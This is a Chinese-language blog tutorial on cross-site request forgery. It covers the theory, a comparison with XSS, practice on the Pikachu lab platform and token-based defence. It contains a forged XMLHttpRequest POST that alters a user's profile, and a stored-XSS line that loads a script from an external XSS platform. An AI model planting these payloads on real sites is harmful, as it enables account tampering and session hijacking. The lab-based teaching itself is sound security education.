CSRF(跨站请求伪造)原理与实践

最新推荐文章于 2024-11-09 16:43:14 发布

阅读量538

点赞数 2

分类专栏：渗透文章标签： CSRF 跨站请求伪造原理与实践

本文链接：https://blog.youkuaiyun.com/qq_44632668/article/details/98514298

版权

渗透专栏收录该内容

5 篇文章

订阅专栏

CSRF原理与实践

一、原理
二、实践

一、原理

Cross-site request forgery 简称为“CSRF”，在CSRF的攻击场景中攻击者会伪造一个请求（这个请求一般是一个链接），然后欺骗目标用户进行点击，用户一旦点击了这个请求，整个攻击就完成了。所以CSRF攻击也称为"one click"攻击。很多人搞不清楚CSRF的概念，甚至有时候会将其和XSS混淆,更有甚者会将其和越权问题混为一谈,这都是对原理没搞清楚导致的。

这里列举一个场景解释一下，希望能够帮助你理解。
场景需求：
小黑想要修改大白在购物网站www.xx.com上填写的会员地址。
先看下大白是如何修改自己的密码的：
登录—修改会员信息，提交请求—修改成功。
所以小黑想要修改大白的信息，他需要拥有：1、登录权限 2、修改个人信息的请求。
但是大白又不会把自己xxx网站的账号密码告诉小黑，那小黑怎么办？
于是他自己跑到www.xx.com上注册了一个自己的账号，然后修改了一下自己的个人信息（比如：E-mail地址），他发现修改的请求是：
【http://www.xxx.com/edit.php?email=xiaohei@88.com&Change=Change】
于是，他实施了这样一个操作：把这个链接伪装一下，在小白登录xxx网站后，欺骗他进行点击，小白点击这个链接后，个人信息就被修改了,小黑就完成了攻击目的。
为啥小黑的操作能够实现呢。有如下几个关键点：

www.xxx.com这个网站在用户修改个人的信息时没有过多的校验，导致这个请求容易被伪造;

因此，我们判断一个网站是否存在CSRF漏洞，其实就是判断其对关键信息（比如密码等敏感信息）的操作(增删改)是否容易被伪造。

小白点击了小黑发给的链接，并且这个时候小白刚好登录在购物网上;

如果小白安全意识高，不点击不明链接，则攻击不会成功，又或者即使小白点击了链接，但小白此时并没有登录购物网站，也不会成功。
因此，要成功实施一次CSRF攻击，需要“天时，地利，人和”的条件。

当然，如果小黑事先在xxx网的首页如果发现了一个XSS漏洞，则小黑可能会这样做：欺骗小白访问埋伏了XSS脚本（盗取cookie的脚本）的页面，小白中招，小黑拿到小白的cookie，然后小黑顺利登录到小白的后台，小黑自己修改小白的相关信息。
—所以跟上面比一下，就可以看出CSRF与XSS的区别：CSRF是借用户的权限完成攻击，攻击者并没有拿到用户的权限，可以说是借刀杀人，而XSS是直接盗取到了用户的权限，然后实施破坏。
因此，网站如果要防止CSRF攻击，则需要对敏感信息的操作实施对应的安全措施，防止这些操作出现被伪造的情况，从而导致CSRF。
比如：

对敏感信息的操作增加安全的token；
对敏感信息的操作增加安全的验证码；
对敏感信息的操作实施安全的逻辑流程，比如修改密码时，需要先校验旧密码等。

如果你没有读太明白,不要犹豫,请再读一遍啦

二、实践

2.1 CSRF (get)与(post)

我用Pikachu漏洞练习平台来实践一下，首先登陆
在这里插入图片描述点击修改个人信息，打开burpsuite准备抓包，点击submit
成功抓包，右击相关工具，CSRF PoC生成
修改相关资料，我这里修改电话为123123，点击用浏览器测试，点击复制，当然，你可以伪造一个URL，诱导被攻击者点击即成功。
在这里插入图片描述在浏览器打开即成功修改手机号

2.2 CSRF结合XSS

现在CSRF利用基本上都是配合XSS进行，这样可以降低攻击成本，扩大危害
首先用burpsuite抓取修改资料的数据包
在这里插入图片描述 基本就是这个格式，把数据和网址修改即可

var xmlhttp;
if (window.XMLHttpRequest)
{xmlhttp=new XMLHttpRequest(); }
else
{xmlhttp=new ActiveXObject ("Microsoft.XMLHTTP"); }
xmlhttp.open("POST","http://192.168.130.1/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("sex=boy&phonenum=123123&add=usa&email=grady%40pikachu.com&submit=submit") ;

在这里插入图片描述
找到存储XSS的留言板，放入下面的XSS平台代码

将如下代码植入怀疑出现xss的地方（注意'的转义），即可在项目内容观看XSS效果。

<script src=https://xsspt.com/qo87m7></script>

在这里插入图片描述
submit，查看网络请求可以发现代码已经生效了，响应码200

资料也被修改

2.3 Token防止CSRF

点击修改个人信息按钮后，服务器会返回一个个人信息的表单页面。表单会嵌入一个隐藏的标签，标签的value属性值为服务器端生成并存储在Session中的token，表单数据被提交时，token也会被提交到服务器。
在这里插入图片描述
当填好个人信息的表单，点击提交后，服务器不仅检查信息是否有空值，还会将表单提交过来的token值也Session中的token值作对比，对比不通过不会执行个人信息修改操作。